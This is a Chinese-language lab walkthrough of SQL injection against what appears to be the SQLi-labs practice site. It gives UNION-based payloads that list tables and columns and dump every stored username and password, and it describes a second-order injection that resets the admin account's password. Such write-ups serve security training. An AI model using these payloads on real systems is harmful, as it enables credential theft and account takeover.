爆表名

?id=' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() or '1'= '
輸出內容:Your Password:emails,referers,uagents,users

爆字段

?id=' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database() or '1'= '
輸出內容:Your Password:id,username,password

爆值

?id=' union select 1,group_concat(username),group_concat(password) from users where 1 or '1' = '
輸出內容:
Your Login name:Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin
Your Password:Dumb,I-kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin

Less-24

一個經典的二次注入場景,原本用戶表的內容如下
用戶admin的密碼是admin,但是我們不知道他的密碼,目標是獲取用戶admin的權限

第一步

註冊一個用戶名叫 admin'# 的用戶,密碼password
http://sqlilabs.bt/Less-24/new_user.php
註冊成功後5秒會跳回註冊頁

註冊後用戶表的內容如下

第二步

登錄剛剛註冊的用戶(admin'#),然後修改密碼成123456,這時候用戶admin的密碼會被改成123456
http://sqlilabs.bt/Less-24/logged-in.php
執行的SQL語句將會是
UPDATE users SET passwd="123456" WHERE username ='admin' # 'AND password='password'
http://sqlilabs.bt/Less-24/pass_change.php

修改密碼後用戶表的內容如下

第三步

使用剛剛修改的密碼(123456)登錄用戶admin,然後你就可以成功登錄,獲取admin權限
http://sqlilabs.bt/Less-24/logged-in.php

注入結束